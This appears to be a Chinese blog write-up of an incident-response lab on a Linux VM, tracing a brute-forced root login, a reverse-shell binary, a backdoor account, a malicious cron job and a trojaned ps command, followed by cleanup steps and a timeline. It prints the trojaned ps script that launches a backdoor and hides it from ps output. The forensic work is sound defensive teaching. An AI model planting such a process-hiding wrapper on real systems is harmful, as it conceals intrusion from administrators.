草庐IT

应急响应——靶场实践

正在过坎 2023-04-08 原文

唉,我可算直到值守每天12小时看警报是多么怨种的一工作,本以为该结束了,结果又加了一天!!!!

还好我没放弃自己,一直在自学东西(也不是我愿意的,这也不是没有办法嘛,大家都太卷了)

那就自学了学应急响应。不得不说,大佬们是真好呀,我才在日报里说我刚过完应急响应的知识,梳理出流程,就有大佬给我发来了——三个靶场,够我挺过这难熬的两天了。

嘿嘿不能辜负大佬的期望,咱就好好表现吧

目录

先搭个靶场

 应急响应的过程

排查网络连接

        排查历史命令

排查后门账户 

查看特权账户 

查看可以远程登录的帐号信息 

排查crontab后门

排查是否有命令被替换 

总结

应急响应溯源

查看后门

总结:

排查安全日志

 溯源总结


先搭个靶场

不得不说一体机就是快:

说一下环境配置的问题呀

就是刚安装的一体机,去看网络连接是这样的

 192.168.266.131只有一条,没有靶场上说的SYN_SENT

这是因为网络没有打开,先把网络连接打开再操作,后面还有ssh要外联取文件

 应急响应的过程

排查网络连接

netstat -anpt

查看服务器的网络连接,发现服务器192.168.226.132一直与恶意IP:192.168.226.131的6666端口连接,并且程序名为:shell.elf

PID:11393,15634,

根据PID号查找程序位置: /root/shell.elf

lsof -p 11393

 查看 shell.elf 文件的创建时间为:2022-01-14 00:51:12

弱弱的问一句不会头秃嘛,都这个点了

stat shell.elf

 

然后我用的是Xshell去取shell.elf放到微步检测里去跑一跑

 

排查历史命令

查看是否有黑客执行的命令

history

在 root账户下排查是否有黑客执行的命令 

cd /root
cat .bash_history 

排查后门账户 

查看当前登录系统的用户

who

没有发现异常

查看特权账户 

awk -F: '$3==0 {print$1}' /etc/passwd

可以看到有两个账户

那这个奇奇怪怪的wxiaoge就应该是黑客的账号了

查看可以远程登录的帐号信息 

awk '/\$1|\$6/{print $1}' /etc/shadow

 好了现在可以确定了,wxiaoge就是黑客的账号

 接下来查看用户最近登录情况

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

  排查crontab后门

查看服务器的定时任务

cd /var/spool/cron
cat root

发现存在root账户的定时任务,每分钟执行一次 /root/shell.elf文件

排查是否有命令被替换 

检查命令文件是否被替换

rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化

执行命令: rpm -Vf /usr/bin/* 时发现 ps 命令的文件大小、md5 值、时间发生了变化,可能已经被修改

 

 

 查看ps命令内容

ls -al ps 
cat ps

 ps文件内容被修改成以下内容

#!/bin/bash
/centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"

#每次执行ps命令都会执行centos_core.elf文件、.hide_command/ps文件
#grep -v的意思是只打印没有匹配的,而匹配的反而不打印,相当于隐藏shell、centos_core、bash异常文件信息

查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500

 这个日子不就是黑客wxiaoge登录的日子嘛

其实要是Linux使用不惯,可以试一试Xftp

到达 / 界面,就很明显有centos_core.elf,在这里有这种东西,就很明显不对劲

 

将 centos_core.elf 文件拔出来放在微步云沙箱检测是后门文件

 

再看看.hide_command/ps

 日期并不是黑客入侵的日期

 .hide_command/ps 文件为正常的ps文件

总结:
存在 ps 命令后门,将正常的ps命令替换,每执行一次ps命令 /centos_core.elf 后门文件就会被执行一次 

总结

1、找到后门文件 :/root/shell.elf 、/centos_core.elf
2、找到后门账户:wxiaoge
3、找到恶意定时任务
4、ps命令被替留ps命令后门

清除后门文件

rm -rf /root/shell.elf
rm -rf /centos_core.elf

将ps命令删除再将 .hide_command/ps 恢复

rm -rf /usr/bin/ps
mv /.hide_command/ps  /usr/bin/ps

删除后门账户

vi /etc/passwd
#vi编辑额passwd文件,按dd删除 wxiaoge那一行,之后保存并推出

应急响应溯源


查看后门

查看 shell.elf 文件的创建时间为:2022-01-14 00:51:12

stat shell.elf

查看 定时任务 root 文件的创建时间为:2022-01-14 01:05:53 

 查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500

总结:


植入后门的顺序为: shell.elf 后门、centos_core.elf后门、ps命令替换后门、定时任务 

排查安全日志

查看secure日志,发现爆破的时间范围是1.13 21:51:32——21:58:31

日志不是都一样的,时间,系统都会影响日志所在的位置

看看文件大小,肯定不会是 secure呀

cat secure-20220421 |grep Failed

 

 

 查看爆破的次数、攻击IP、破的用户名

 

#查询有哪些IP在爆破命令
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

#查询被爆破的用户名都有哪些
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
 

接下来查看用户最近登录情况 

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

发现 root 账户在1月13 日 21:57:56 登录了该服务器,在爆破的时间范围内(21:51:32——21:58:31)
wxiaoge 账户在 1月14 日 00:47:33登录了该服务器(其中IP地址 192.168.226.1 因为是模拟,没有公网地址,所以假设它是恶意IP)


 溯源总结

黑客在1月13日21:51:32——21:58:31对服务器进行爆破,且在21:57:56 成功爆破出root账户密码并且进行登录,登录之后在1月14日00:51:12 植入了 shell.elf 后门、在00:57:03植入了 centos_core.elf后门、在 01:03:42植入了ps命令后门、在 01:05:53写了恶意定时任务,恶意IP:192.168.226.1

有关应急响应——靶场实践的更多相关文章

  1. ruby-on-rails - 使用 Ruby on Rails 进行自动化测试 - 最佳实践 - 2

    很好奇,就使用ruby​​onrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提

  2. ruby-on-rails - 每次我尝试部署时,我都会得到 - (gcloud.preview.app.deploy) 错误响应 : [4] DEADLINE_EXCEEDED - 2

    我是Google云的新手,我正在尝试对其进行首次部署。我的第一个部署是RubyonRails项目。我基本上是在关注thisguideinthegoogleclouddocumentation.唯一的区别是我使用的是我自己的项目,而不是他们提供的“helloworld”项目。这是我的app.yaml文件runtime:customvm:trueentrypoint:bundleexecrackup-p8080-Eproductionconfig.ruresources:cpu:0.5memory_gb:1.3disk_size_gb:10当我转到我的项目目录并运行gcloudprevie

  3. 叮咚买菜基于 Apache Doris 统一 OLAP 引擎的应用实践 - 2

    导读:随着叮咚买菜业务的发展,不同的业务场景对数据分析提出了不同的需求,他们希望引入一款实时OLAP数据库,构建一个灵活的多维实时查询和分析的平台,统一数据的接入和查询方案,解决各业务线对数据高效实时查询和精细化运营的需求。经过调研选型,最终引入ApacheDoris作为最终的OLAP分析引擎,Doris作为核心的OLAP引擎支持复杂地分析操作、提供多维的数据视图,在叮咚买菜数十个业务场景中广泛应用。作者|叮咚买菜资深数据工程师韩青叮咚买菜创立于2017年5月,是一家专注美好食物的创业公司。叮咚买菜专注吃的事业,为满足更多人“想吃什么”而努力,通过美好食材的供应、美好滋味的开发以及美食品牌的孵

  4. ruby-on-rails - 在 Ruby on Rails 中发送响应之前如何等待多个异步操作完成? - 2

    在我做的一些网络开发中,我有多个操作开始,比如对外部API的GET请求,我希望它们同时开始,因为一个不依赖另一个的结果。我希望事情能够在后台运行。我找到了concurrent-rubylibrary这似乎运作良好。通过将其混合到您创建的类中,该类的方法具有在后台线程上运行的异步版本。这导致我编写如下代码,其中FirstAsyncWorker和SecondAsyncWorker是我编写的类,我在其中混合了Concurrent::Async模块,并编写了一个名为“work”的方法来发送HTTP请求:defindexop1_result=FirstAsyncWorker.new.async.

  5. ruby-on-rails - Rails 中同一个类的多个关联的最佳实践? - 2

    我认为我的问题最好用一个例子来描述。假设我有一个名为“Thing”的简单模型,它有一些简单数据类型的属性。像...Thing-foo:string-goo:string-bar:int这并不难。数据库表将包含具有这三个属性的三列,我可以使用@thing.foo或@thing.bar之类的东西访问它们。但我要解决的问题是当“foo”或“goo”不再包含在简单数据类型中时会发生什么?假设foo和goo代表相同类型的对象。也就是说,它们都是“Whazit”的实例,只是数据不同。所以现在事情可能看起来像这样......Thing-bar:int但是现在有一个新的模型叫做“Whazit”,看起来

  6. ruby-on-rails - 向 Rails 3 添加 Ruby 扩展方法的最佳实践? - 2

    我有一个要在我的Rails3项目中使用的数组扩展方法。它应该住在哪里?我有一个应用程序/类,我最初把它放在(array_extensions.rb)中,在我的config/application.rb中我加载路径:config.autoload_paths+=%W(#{Rails.root}/应用程序/类)。但是,当我转到railsconsole时,未加载扩展。是否有一个预定义的位置可以放置我的Rails3扩展方法?或者,一种预先定义的方式来添加它们?我知道Rails有自己的数组扩展方法。我应该将我的添加到active_support/core_ext/array/conversion

  7. Ruby 最佳实践 : working with classes - 2

    参见下面的示例,我想最好使用第二种方法,但第一种也可以。哪种方法最好,使用另一种的后果是什么?classTestdefstartp"started"endtest=Test.newtest.startendclassTest2defstartp"started"endendtest2=Test2.newtest2.start 最佳答案 我肯定会说第二种变体更有意义。第一个不会导致错误,但对象实例化完全过时且毫无意义。外部变量在类的范围内不可见:var="string"classAvar=A.newendputsvar#=>strin

  8. ruby - 存储外部 API 的密码 - 最佳实践 - 2

    如果我构建了一个应用程序来访问来自Gmail、Twitter和Facebook的一些数据,并且我希望用户只需输入一次他们的身份验证信息,并且在几天或几周后重置,那会怎样是在Ruby中动态执行此操作的最佳方法吗?我看到很多人只是拥有他们客户/用户凭证的配置文件,如下所示:gmail_account:username:myClientpassword:myClientsPassword这看起来a)非常不安全,b)如果我想为成千上万的用户存储此类信息,它就无法工作。推荐的方法是什么?我希望能够在这些服务之上构建一个界面,因此每次用户进行交易时都必须输入凭据是不可行的。

  9. ruby-on-rails - 使用设计身份验证的 API 访问 - 最佳实践? - 2

    我正在使用Devise在Rails应用程序中,并希望通过API公开一些模型数据,但应该像应用程序一样限制对API的访问。$curlhttp://myapp.com/api/v1/sales/7.json{"error":"Youneedtosigninorsignupbeforecontinuing."}很明显。在这种情况下是否有访问API的最佳实践?我更喜欢一步验证+获取数据,但这只是为了让客户的工作更轻松。他们将使用JQuery在客户端提取数据。感谢您提供任何信息!凡妮莎 最佳答案 我建议您按照以下帖子中的选项2:使用APIke

  10. ruby-on-rails - 在多个页面上使用相同表单的 Rails 最佳实践 - 2

    我正在开发一个Rails2.3.1网站。在整个网站中,我需要一个用于在各种页面(主页、创建帖子页面、帖子列表页面、评论列表页面等)上创建帖子的表单——只要说这个表单需要在由各种Controller)。这些页面中的每一个都显示在相应的Controller/操作中检索到的各种其他信息。例如,主页列出了最新的10篇文章、从数据库中提取的内容等。因此,我已将帖子创建表单移动到它自己的部分中,并将该部分包含在所有必要的页面中。请注意,部分POST中的表单到/questions(路由到PostsController::create——这是默认的Rails行为)。我遇到的问题是当Posts表单没有正

随机推荐